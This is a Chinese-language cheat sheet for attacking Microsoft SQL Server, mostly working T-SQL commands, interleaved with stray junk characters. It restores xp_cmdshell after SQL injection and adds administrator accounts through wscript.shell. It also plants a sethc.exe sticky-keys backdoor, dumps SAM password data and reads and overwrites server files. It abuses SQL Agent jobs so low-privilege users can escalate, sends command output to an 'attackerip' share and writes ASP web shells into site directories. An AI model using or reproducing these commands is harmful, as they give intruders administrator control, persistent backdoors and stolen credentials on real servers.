1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
0 z; C* p% I# F# M; Q, ]恢复方法:查询分离器连接后,5 \+ }+ K; Q# a, {% J
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ( {$ y0 z Y9 H. K
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% D7 Q! h+ T6 l" K* X; b2 ?/ g; o5 V& I然后按F5键命令执行完毕! a7 V% `! |$ O* [1 q
8 U8 {; S( e/ A) k4 u$ m& X! s6 w6 V
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
- P4 q6 w1 w5 G3 _( }恢复方法:查询分离器连接后,
, q2 V) d! J1 N1 O- g4 L% ]第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
8 a6 x0 t' l6 b* h N/ V; O* y第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
/ _. r9 k W2 a( N- Q然后按F5键命令执行完毕$ _% G6 ^) j, ]. n4 E) ~1 R
. j1 b2 o- n& ^: u% E( U3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)! B1 T& m! \" A3 o& m
恢复方法:查询分离器连接后,
. h: n/ c0 h' `第一步执行:exec sp_dropextendedproc 'xp_cmdshell' Y6 O0 e O7 v% O! s
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' + I: \) H& m! M2 G, a! x \
然后按F5键命令执行完毕
9 H$ ~3 p8 r* G* h8 d2 ]! \3 I7 O* |7 ~2 P) O& S5 U
4 终极方法.
6 Z9 N, k- m" q: {如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:+ K8 Q2 l d. y; `/ a
查询分离器连接后,
# S; m4 y' p! S0 T2000servser系统:
$ V8 y2 u% J' [$ edeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'. N& J; y' d3 m+ q/ d X
1 U8 M; h. L2 k( I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'5 g- J: ^9 _8 T5 j9 `3 h" y8 F
9 D* G8 x. v+ A( ~) x
xp或2003server系统:3 Q4 e9 P3 Z8 }4 f$ n
, K k6 X" C9 g. b1 |7 vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'9 F+ f$ F' V& A4 Z. t: Q- \# |
; r+ H ~* P/ Y. M' Y8 n# Q4 ]. P0 ^
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
. ?* B- o) `% g! [
: c1 `, z1 _3 O6 H3 N: a7 X7 r5 V) H( r) `7 k5 |
五个SHIFT
( [6 n; x, Z* l8 Qdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';3 V' l2 `; u b, \2 T4 t- e
1 _' e4 ~0 {5 ]- O% ldeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
4 M3 h5 C! C$ C4 W6 o- T8 q* s4 k* e Y) V2 x4 T4 U
xp_cmdshell执行命令另一种方法8 `0 _& ?6 A6 b. I+ Z
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
P, F3 A/ ^, ]: H- C
: ~! m% j; J8 L( N- D* t: F判断存储扩展是否存在
3 k( M7 a1 q" W* m) k- qSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'+ {7 Z0 L0 W/ ]! p
返回结果为1就OK
' \. M% e% [4 M
0 z" g$ s, V) w5 g- ] C% i$ E, ^# o2 _! f d" P
上传xplog70.dll恢复xp_cmdshell语句:
0 b* c8 p# E# l# @% ~% G- Csp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL': J5 x5 ]+ d$ y3 \9 E3 J
+ @+ t& Y: e2 F2 d- M8 y
否则上传xplog7.0.dll, P% _- h; r, @4 @0 u/ H
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
9 D6 a, x4 i. V' T7 ]7 }+ n% Y) D: C! X* A% a1 d7 b" s5 F+ A
" B3 u; ^' g* F7 ]/ ?% [2 N. B7 F/ L
首先开启沙盘模式:
. I0 I) ~7 I% C% y6 y/ @) Cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 V! a; y8 ]; ?) U1 V u6 A$ h" l
1 D) s3 v @* M) R4 C然后利用jet.oledb执行系统命令( v6 `$ L! i9 R# V" }! W
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 l# j4 k1 |6 q0 }& D. d返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# W4 P( g0 Z* g' h# m# ?2 v$ ^- t( L
7 Z- o( _$ y# T% [
. A3 S' w5 T* ^9 Q* {& J& U
恢复过程sp_addextendedproc 如下: J! c$ z M4 T' O7 s$ w) Y. G
create procedure sp_addextendedproc --- 1996/08/30 20:13
$ [ v( T/ V. P) o. W@functname nvarchar(517),/* (owner.)name of function to call */
0 N7 b, K2 ?& c& A% ^0 a@dllname varchar(255)/* name of DLL containing function */ d' d6 c4 f3 t, ?$ o
as # B+ n: }; q- u4 w3 ?
set implicit_transactions off 8 f1 [/ m3 I; _/ q4 a! O: |
if @@trancount > 0 & W* R. D+ V$ L$ \' D
begin . t8 p! ~% D" S- x/ y) r0 }$ }4 U
raiserror(15002,-1,-1,'sp_addextendedproc')
6 O' j( M5 f) V0 P9 E; K' dreturn (1) 3 [) p$ Y: m9 J( T2 o7 n; p
end
( J; K6 |0 R1 g$ Q7 T+ Y% bdbcc addextendedproc( @functname, @dllname) $ u8 B' _1 j& B
return (0) -- sp_addextendedproc ' m, K2 h0 M! X1 @4 M
GO
' t1 e# F3 ]4 ~+ Z8 C
/ W2 p+ v9 P( D3 Y b( h/ a! m+ U0 a
1 B1 ?; y/ E- u9 C5 m8 j: E) |
2 @9 R5 u0 T0 Y8 Y- E导出管理员密码文件 ?5 z' x% E" @, p& p
sa默认可以读sam键.应该。
$ b; V% r' z: l; rreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
( Y6 a4 U6 f, snet user administrator test
) u1 c6 D2 c X6 b用administrator登陆.; a: K4 _ @5 \/ }
用完机器后1 l3 v; l5 a( w: D
reg import c:\test.reg
8 x' ^" Y4 H4 o: @7 l5 d2 \. i根本不用克隆.' e7 I6 C, O" Q
找到对应的sid. . Z5 x% A% h G0 ~- [. p. p
: k$ B0 g0 ~( D$ K
4 u5 [3 J/ h8 C* T3 O
! Q A* D8 x" @8 u2 h) F( v恢复所有存储过程. y0 H; J: y2 {# k6 G; y
use master
8 u A' i. j9 P2 H5 Qexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
4 \$ P8 _! y9 i+ u; ]$ P0 ?exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ) R* |" w" J2 e$ P; d' C- M
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' & s/ Z) n. {$ V/ |% ^( o/ t2 U
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
# P D: J P8 T+ G! Pexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 3 D$ k- u# {" W- q$ H& }: w
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
1 s f: K' J# ^& U) J4 Gexec sp_addextendedproc sp_OADestroy,'odsole70.dll' - W0 ?: C! \+ S* G" u5 `% p
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
6 O/ H! J6 K; Fexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ' J3 h# g; W" E- z. n
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
3 H4 V, a! q/ ]% J) H$ rexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 5 M) `; ?% V1 h
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 3 v( E& g6 ?* c$ G
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' / | p0 J9 E- q! |' |2 o( M
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
* b& s. }+ ? f0 R, ?exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 7 i y) ^0 t0 a- T/ v- _4 z; h- t3 ?
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' Y) a# @$ U3 \6 J
exec sp_addextendedproc xp_regread,'xpstar.dll' % a, ]& t' l) V0 S& d- _* k; R
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' - V' b" r' B& @. F: N! ?. a# M
exec sp_addextendedproc xp_regwrite,'xpstar.dll' & g( B- I3 ]( R' }& Z
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'2 w( C& k: L: q
- O, g2 ~5 E3 o
; X! D C, J1 n; c- `
建立读文件的存储过程
! m3 k2 k8 a$ c& }! Y, fCreate proc sp_readTextFile @filename sysname+ S! m F! b& C+ c
as6 U" p% j# ^! g. |
( o9 t# m8 ]3 { B5 [6 }/ n% n7 i3 c2 I
begin 6 S5 T& y9 Z" O/ T+ {) \
set nocount on
+ l1 A$ z$ i" y5 y+ S! {; R Create table #tempfile (line varchar(8000))1 g+ G1 J; S! R3 d
exec ('bulk insert #tempfile from "' + @filename + '"')
' V% w7 M [1 t1 c. J select * from #tempfile) j+ I7 V6 h6 w$ Z
drop table #tempfile/ H0 }- a! w/ _
End
/ a: v: p/ @6 @2 g! z* X) K8 S0 a$ z3 b! S$ P H
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
. A) ~ R7 l2 J8 ~查看登录用户0 s ~" l/ ^9 H8 B& v; A* z8 [
Select * from sysxlogins% B. P5 t+ o. ?# |1 u
+ E+ f9 p$ i2 V2 D$ H把文件内容读取到表中
6 s( p) a6 J% i6 A" D) J( MBULK INSERT tmp from "c:\test.txt"/ T/ v3 D0 n' d7 a
dElete from 表名 清理表里的内容
+ ~; q6 _$ e7 wcreate table b_test(fn nvarchar(4000));建一个表,字段为fn6 Q6 d8 s3 ]0 H; f3 `, s/ h
: N8 z6 M0 n9 V$ F* T: M5 k6 O) q# v; |6 A0 @- w
加sa用户
* m! B' Y6 U" R9 wexec master.dbo.sp_addlogin user,pass;4 w! J9 R* d: k+ c
exec master.dbo.sp_addsrvrolemember user,sysadmin5 [* K+ e H/ X% }1 L% D- b
" [4 u; g+ }" c1 k2 d1 {
. C4 \3 Z2 H, g: K7 g
0 t v" ?: y6 k' K读文件代码( q2 { j5 j3 p$ K; l
declare @o int, @f int, @t int, @ret int6 t: B" l9 ]1 {
declare @line varchar(8000). t$ K# {1 {$ z4 }) F0 v8 t) z
exec sp_oacreate 'scripting.filesystemobject', @o out
' N3 M$ i8 |# k6 Jexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1# f7 {0 y+ S1 [# S, n _% m$ o
exec @ret = sp_oamethod @f, 'readline', @line out. M4 O3 V: F) ^
while( @ret = 0 )
/ ]: _( ?; A w/ e6 zbegin
; m8 p3 V9 W" z r" z6 u( Y/ ^; nprint @line
+ r2 }) |. s; G1 V- R. M5 Hexec @ret = sp_oamethod @f, 'readline', @line out
. m7 V+ J5 {" J) L9 h2 U5 |end
% L ?+ r" ?/ G5 g4 |0 H
5 v- w' P0 D8 f9 n5 w
& r8 a, s1 x$ e. Q- Z9 N写文件代码:
! S8 C# B8 M, _: \& Ndeclare @o int, @f int, @t int, @ret int" E4 j3 U3 w- H
exec sp_oacreate 'scripting.filesystemobject', @o out9 j9 ~7 M% Y" C5 ]
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
- A- h# T' [# V; jexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》% ]2 P8 n$ L5 Y+ k4 w) I
9 D- A0 h5 n$ W& E) x
% i6 j5 ]1 C; z/ @3 B% `# @5 y D添加lake2 shell
" f0 j9 ]5 }6 csp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
2 W, q! j4 C' x; L7 I d+ wsp_dropextendedproc xp_lake2# z1 H P* X/ W, B3 p
EXEC xp_lake2 'net user'
5 d4 J; I7 x$ a- q
" W. W' J q5 `
- {# t8 H* F. E& Z) [! W得到硬盘文件信息 5 |( N9 V% v9 t: E8 j
--参数说明:目录名,目录深度,是否显示文件 5 G* Q; ?5 F: E# d2 D( K8 O b
execute master..xp_dirtree 'c:'
2 L7 F- @5 c: T& K1 d jexecute master..xp_dirtree 'c:',1
0 H, a8 j% D. D! Pexecute master..xp_dirtree 'c:',1,1 1 _, o$ g" I9 Y+ H
2 x) M( ~) _0 t3 c7 h4 v4 m( J' z
读serv-u配置信息
m0 {/ V" L7 c/ n9 v% \- j- Y. Mexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'0 B: e6 ?4 W8 t( ?
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
, }/ _0 K$ O9 ?. ?; D+ J- K! n# T
3 N, g# Z) {5 J4 L5 N4 @: ]/ Q通过xp_regwrite写SHIFT后门! }/ J& T3 {; k `/ i# A: p
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--2 t+ u7 n, x* G! {# y W
' \! s+ o- \- o0 U/ j7 N% a. c i3 }& H0 J$ N1 G* r4 s: I& q
% Z3 d) L0 `6 G2 U2 _找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
/ X9 u3 V$ q% A8 C7 eexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了1 c: k4 w6 J- d) ~9 r7 ^
$ x3 ^6 B$ g/ b- q. h( S0 b9 i* C# U
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'8 O) k9 \8 _4 V3 L4 H' k+ f5 w+ t
* ^1 L& X6 f! @0 V6 l$ L
1 T# N6 m/ D8 o- ?2 ~& h6 I) o7 M6 R @: v/ A D
sql server 2005下开启xp_cmdshell的办法
0 K. F1 {' A3 V: }2 R I' y& O$ P& G# Y$ H# A3 L9 b- K# y( _8 _* B
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;+ H* ~; L( R) ]9 _
3 G/ t. z- t7 [/ W) }SQL2005开启'OPENROWSET'支持的方法:/ K% G, K2 F4 f
+ }- H7 q" D3 u% z7 B8 L2 mexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;! [: m7 O% x0 Q" E5 p# `
/ N7 s* A( N8 _- _% L- x9 hSQL2005开启'sp_oacreate'支持的方法:' F2 N4 v3 I1 T8 ], R j/ _# l' Y
, [( B6 P1 p5 [/ H8 o9 C7 J% L
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;4 F$ E: M& G4 ~" k/ n7 Z
& n2 y( L1 n& W( c E
2 N; q; \' ^/ g, d" L" _: K/ W# l$ Z; h/ |+ t; |% l, O
) F6 X' x. {: C
7 c5 l9 @% i6 f1 o4 s
5 T7 R# [ q p# m7 r) X
/ N1 ]' [3 l/ m! i0 U2 f6 i( a
) a F' d5 l8 v+ }% W/ U
, F- E$ R# i* n; y
0 R; W# z) s9 K6 {- y
( {" z# w U( |: u
6 o( c% {) p' H9 X# S: F5 F) N- Y3 c' o. b% K
' a$ D/ G3 A; x2 o( J: \
3 ~: [, S! Y5 G0 X }/ @1 J2 J! k
7 v- _5 e* H6 m n2 n/ p
& w. Q2 O* ?7 _
, S( r" s4 j o: D; _/ }/ A: T, I- l+ c* n0 ]& w& i6 {; D* O
* H7 W0 G" ~) s D* M
6 _/ V7 n. ~' ]
% J* i: ]1 Z6 U! B9 s+ n
6 k! [8 l x% A3 o e/ U以下方面不知道能不能成功暂且留下研究哈:( q1 x- V$ a2 ?0 [: j
4)! F6 M1 s* |5 s; G' n* R4 s
use msdb; --这儿不要是master哟
1 U$ L2 w5 A3 R2 _exec sp_add_job @job_name= czy82 ;
& k6 M f b; i K7 Q) Vexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;! U5 N1 E9 m1 ]2 M) K7 f+ ?8 [' I
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;3 g" [9 ?* E/ t+ p* _& J7 s
exec sp_start_job @job_name= czy82 ;/ v% R' v9 m% V
) U. ] X# v- I2 A- C
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以- A4 V, s& |& K4 h9 ?1 C* o
执行tsql语句了.% O1 I' G1 n6 I/ f/ E; Z
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
- }) X n7 t+ o4 a第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧), V9 Y$ e1 Y8 o7 S' _
net start SQLSERVERAGENT7 R) K3 w+ i+ a) V, I
4 f+ e' E% a2 Q9 r7 z对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的# s2 c! y3 h& ^9 i# x) G- D4 L% a
USE msdb
( d" w) j; G/ }1 FEXEC sp_add_job @job_name = GetSystemOnSQL ,
: ?+ R) U8 p8 N( Z; o@enabled = 1,
5 q* m1 C" S" l) Z5 {- D@description = This will give a low privileged user access to
/ i* p3 e; ^% `xp_cmdshell ,2 d3 [- I9 r% b" W1 _( m
@delete_level = 1+ R# w' q5 t C3 H. {4 s5 Z1 U
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,( q7 @+ X1 W& \, R8 o' h3 h" u: l
@step_name = Exec my sql ,
% D5 j5 I* G* E@subsystem = TSQL ,4 W4 K' `# U v- x4 K
@command = exec master..xp_execresultset N select exec' Q6 w2 [" |7 y7 H5 j4 n& ^# C
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master * w: y! {( V( `( N) J' F
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,1 m: o% n: O9 h3 A) W. \: |8 y& p
@server_name = 你的SQL的服务器名 / k, j3 x& l. k. x8 H' H( K0 x
EXEC sp_start_job @job_name = GetSystemOnSQL
3 G' Z" s# o8 _& n
0 i/ i: m) L* B- b! Q- v$ p不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以' p' n. U9 S/ w
才让我们可以以public执行xp_cmdshell* Q" [& M( `. g: _. J) o! z: w
1 T! l- _- m) u! @3 o% E! u* H5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)8 k# I g. i7 I# b( C6 Q# H
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
! i O. m, t+ ]7 T3 P8 @7 v
# S- V2 |( Y% q) U9 }USE msdb# ?) @( n6 b( Y, g, U
EXEC sp_add_job @job_name = ArbitraryFilecreate ,+ F- _0 M, t t o, I
@enabled = 1, d, x4 |# F w: o, B
@description = This will create a file called c:\sqlafc123.txt ,/ E- {+ a! K3 O2 j4 g& B
@delete_level = 1
7 Y( j8 |% N _# d+ }% D4 n5 \EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,1 P* m$ D# l+ i- F" [ J) |) H
@step_name = SQLAFC ,. R/ R( Q$ j& ?
@subsystem = TSQL ,
0 |3 ?/ R* R9 z- w7 P; G+ Q% ~@command = select hello, this file was created by the SQL Agent. ,4 H# ~ v% G' d7 z
@output_file_name = c:\sqlafc123.txt - I1 H" L5 k& Q- Q! f4 b
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,7 L6 u3 ^! x& s+ q6 j* ?. B1 p
@server_name = SERVER_NAME 2 y* s( Q+ j+ t" U$ h
EXEC sp_start_job @job_name = ArbitraryFilecreate
: d/ ~/ s8 B6 Q% l
9 I- ~' T! E0 w如果subsystem选的是:tsql,在生成的文件的头部有如下内容
+ @- e5 N7 z/ O, ` R, U- m, @, R1 u; X( A, d6 D) I
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
& ^8 h+ u' m# m1 [9 s6 q( ?----------------------------------------------2 b3 l- \% l0 G1 Q/ n7 {7 e
hello, this file was created by the SQL Agent.* |) N/ F4 a3 B
" X+ F l6 R6 ~$ {: e) N/ t# t(1 ?????)
* C$ p$ E0 y: D$ I! q, ?2 k/ m0 ], G* r
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员3 [, s! C* T1 d% h# m2 m
命令的vbs文件到启动目录!
; S) I5 S; j$ H( B: _9 T) g8 p) \+ \1 o
) F" |( B2 j4 n, g/ e& w( q6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
! L `+ ^/ { S/ M1 N$ R% K' [2 V" d, A关于sp_MScopyscriptfile 看下面的例子 c! d- y5 @4 w
declare @command varchar(100) 0 m( p |# t# L: H* A3 R
declare @scripfile varchar(200)
; d& V- ?7 [! s8 f4 oset concat_null_yields_null off
$ Q6 f4 ]! C+ k8 f" qselect @command= dir c:\ > "\\attackerip\share\dir.txt"
( p) P/ X$ |* A" a H! A! ~select @scripfile= c:\autoexec.bat > nul" | @command | rd "
2 i& Z' z1 x& {, Mexec sp_MScopyscriptfile @scripfile , & W' q0 \# C8 Q4 G1 j/ G1 b. J
! N# ~. s- Y8 g( l. T |% j3 ?5 O这两个东东都还在测试试哟# \ N8 L8 _' j/ t* N8 Q3 O
让MSSQL的public用户得到一个本机的web shell
$ x; ~; l2 _/ I; L$ ^( |5 Q; T6 U: D" u- ~5 `- R0 I4 G
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,) O5 A! A9 c$ U; i3 J9 i
--@query= select <img src=vbscript:msgbox(now())>
& y: E, N: ?# j: E--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
6 _/ B5 J6 F. _@query= select ( p$ ~' U2 e9 Z3 q8 I' \
<%On Error Resume Next , ^6 i# i7 Y. J7 w V
Set oscript = Server.createObject("wscript.SHELL") & z2 j: j# l- C7 }& \; Q7 k
Set oscriptNet = Server.createObject("wscript.NETWORK")
4 Y5 Y3 l" C5 Y8 }7 rSet oFileSys = Server.createObject("scripting.FileSystemObject") * X+ V1 h# t6 t$ \
szCMD = Request.Form(".CMD")
6 ]6 n: c& Z5 H0 P- d- uIf (szCMD <>"")Then
. a7 i E( e6 E8 l' q& g( @( o: a9 cszTempFile = "C:\" & oFileSys.GetTempName()
. p+ p4 ^8 ?' Q' |6 CCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
8 ~; R/ {7 }) j( Y: R8 \" qSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
, }$ t/ F; p# {; ^, Y5 j8 F4 nEnd If %>
1 w: U" W B' v( P2 Y0 L% H<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 6 c2 x- Y, {9 n6 }
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 5 G$ {* J7 ~2 [6 C$ ^* `
</FORM><RE>
% Z% \- L7 o/ M8 U<% If (IsObject(oFile))Then 9 M( s- S( D g2 t: { d
On Error Resume Next
" q- Y- z+ d: t* m. _5 R# L! w' JResponse.Write Server.HTMLEncode(oFile.ReadAll)
3 V0 v4 v' `) o/ h" \; Q; `% ]0 uoFile.Close
3 z Y! P6 X4 _- \Call oFileSys.deleteFile(szTempFile, True)
, h6 S/ v2 I% y) R5 \: o# gEnd If%> ; I( }; p2 O! \. f# L1 {
</BODY></HTML> - E, i+ @ E' v: _
|